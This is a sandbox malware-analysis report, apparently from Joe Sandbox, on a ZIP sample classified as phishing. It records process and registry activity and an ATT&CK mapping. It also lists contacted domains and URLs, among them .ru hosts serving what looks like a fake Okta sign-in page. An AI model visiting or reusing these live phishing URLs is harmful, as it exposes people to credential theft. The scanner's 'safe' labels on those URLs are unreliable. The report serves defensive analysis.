Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2032,i,4292284546028772035,10436533909893045900,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935} DeviceTicket

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Rundll32	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label
https://6id4q.zvaznx.ru/tarboz$h2b8h	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/lGfpSLU/	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/rffSGIHEoZiyshPA3hBT9Ws4PLFstG93oDQamqgNgvnopaBy7	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/uvHgcagATcpjbXYuUyrwYjQPPgqrRRLpBVuNdIfjp034123	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWAL	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/opr1VFSs1sanEMxZn1ROsHQDNutPghFaCQJVucwRf7S45133	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/qr7i6AiQNGONeOHJi5E2vriIl3hagm7CP9YzevhgeHzL712BMmP3uEWrF7MlPUMSh5aijgWXXTYu1VNcd231	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/ijGDvZBAgaMOHXq51Ey2gFkkczca5wxKf5f08HHD2XxhCcAhQaKgs78170	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/yzBjX2yOm7GgfZp7ySyVTmnhLhRc5kO0DER2eibN90180	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	0%	Avira URL Cloud	safe
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/stXbW9Cl08NuKgyJENygdPRVHIdnXfIjP2wrOq5Eym8RiGvXSkCS67h1pANQsiMg9kBZ7WUadfyUfHUZkQZef256	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/kfU1B63afGWRNubgf3SLLTLylE2bHO4sY0rpmBVACHjy	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/klCJzhaaH5UigoAij6llWBXy9M8fW4hOzWCJ5ohxY5kl7tyZYonJKyrGYQoK8asRwx217	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/abHta6ADpdpqQSO1gh24	0%	Avira URL Cloud	safe
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/34P8Pz1XFAhodBklQEqQD5N0Wi89110	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/jikQoGzPw646diQ2ggyFX2eyqXortrWoD10z9k	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/favicon.ico	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/ef0AixXB22vfIy4Wn0KrTuvVXzW7jWETCF990150	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/ijFqfTcgCGK1tbI7nACMyZO1V6fOhTjRy0I7kldo9D2dZ65Fmc3TYG0LyrjTef208	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/12eV1jUxbkzqcfNjBxyw8Z8919	0%	Avira URL Cloud	safe
https://3gyu.zelivarne.ru/ij3mVd4nBfXO2p7UAcQtwl0uyop7Kn1BYrNmFY3LfuqKWIWpp9YSM8yz230	0%	Avira URL Cloud	safe
https://ywbbognklmcucjytnmcvgcie9aaap0wj0bp8tyv9kyxj2w0nmxjtj.mybuycentr.ru/138958493138570XIOmZquoIAKWEDTQYMLIWHWLYTDTLNAEROUWPCCWOEGSESHQS12XH7r9oZ78WBrHqr43	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.4.189	true	false	high
github.com	140.82.121.4	true	false	high
ywbbognklmcucjytnmcvgcie9aaap0wj0bp8tyv9kyxj2w0nmxjtj.mybuycentr.ru	104.21.43.251	true	false	unknown
6id4q.zvaznx.ru	104.21.112.1	true	false	unknown
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
3gyu.zelivarne.ru	104.21.37.108	true	false	unknown
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.186.164	true	false	high
s-0005.dual-s-msedge.net	52.123.128.14	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.120	true	false	high
objects.githubusercontent.com	185.199.109.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/rffSGIHEoZiyshPA3hBT9Ws4PLFstG93oDQamqgNgvnopaBy7	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/qr7i6AiQNGONeOHJi5E2vriIl3hagm7CP9YzevhgeHzL712BMmP3uEWrF7MlPUMSh5aijgWXXTYu1VNcd231	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWAL	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/uvHgcagATcpjbXYuUyrwYjQPPgqrRRLpBVuNdIfjp034123	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/yzBjX2yOm7GgfZp7ySyVTmnhLhRc5kO0DER2eibN90180	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://ywbbognklmcucjytnmcvgcie9aaap0wj0bp8tyv9kyxj2w0nmxjtj.mybuycentr.ru/138958493138570XIOmZquoIAKWEDTQYMLIWHWLYTDTLNAEROUWPCCWOEGSESHQS12XH7r9oZ78WBrHqr43	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/ijGDvZBAgaMOHXq51Ey2gFkkczca5wxKf5f08HHD2XxhCcAhQaKgs78170	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/lGfpSLU/	false	Avira URL Cloud: safe	unknown
https://6id4q.zvaznx.ru/tarboz$h2b8h	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/opr1VFSs1sanEMxZn1ROsHQDNutPghFaCQJVucwRf7S45133	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/stXbW9Cl08NuKgyJENygdPRVHIdnXfIjP2wrOq5Eym8RiGvXSkCS67h1pANQsiMg9kBZ7WUadfyUfHUZkQZef256	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://3gyu.zelivarne.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/klCJzhaaH5UigoAij6llWBXy9M8fW4hOzWCJ5ohxY5kl7tyZYonJKyrGYQoK8asRwx217	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/kfU1B63afGWRNubgf3SLLTLylE2bHO4sY0rpmBVACHjy	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://3gyu.zelivarne.ru/abHta6ADpdpqQSO1gh24	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://3gyu.zelivarne.ru/34P8Pz1XFAhodBklQEqQD5N0Wi89110	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/jikQoGzPw646diQ2ggyFX2eyqXortrWoD10z9k	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/ij3mVd4nBfXO2p7UAcQtwl0uyop7Kn1BYrNmFY3LfuqKWIWpp9YSM8yz230	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://3gyu.zelivarne.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/ef0AixXB22vfIy4Wn0KrTuvVXzW7jWETCF990150	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/ijFqfTcgCGK1tbI7nACMyZO1V6fOhTjRy0I7kldo9D2dZ65Fmc3TYG0LyrjTef208	false	Avira URL Cloud: safe	unknown
https://3gyu.zelivarne.ru/12eV1jUxbkzqcfNjBxyw8Z8919	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.37.108	3gyu.zelivarne.ru	United States	13335	CLOUDFLARENETUS	false
216.58.206.78	unknown	United States	15169	GOOGLEUS	false
142.250.181.238	unknown	United States	15169	GOOGLEUS	false
104.21.112.1	6id4q.zvaznx.ru	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
52.109.32.97	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.227	unknown	United States	15169	GOOGLEUS	false
2.22.242.90	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
13.33.187.120	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
52.123.128.14	s-0005.dual-s-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.227	unknown	United States	15169	GOOGLEUS	false
52.109.28.47	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.43.251	ywbbognklmcucjytnmcvgcie9aaap0wj0bp8tyv9kyxj2w0nmxjtj.mybuycentr.ru	United States	13335	CLOUDFLARENETUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
64.233.184.84	unknown	United States	15169	GOOGLEUS	false
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
104.16.4.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.74	unknown	United States	15169	GOOGLEUS	false
52.109.76.144	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.16
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638471
Start date and time:	2025-03-14 12:29:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	VM Orger Acknowledged.zip
Detection:	MAL
Classification:	mal48.phis.winZIP@24/38@26/221
Cookbook Comments:	Found application associated with file extension: .zip

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.109.28.47, 2.22.242.90, 2.22.242.145, 2.22.242.105, 2.22.242.81, 2.22.242.136, 2.22.242.104, 2.22.242.97, 2.22.242.98, 2.22.242.226, 52.123.128.14, 20.109.210.53, 40.126.31.73
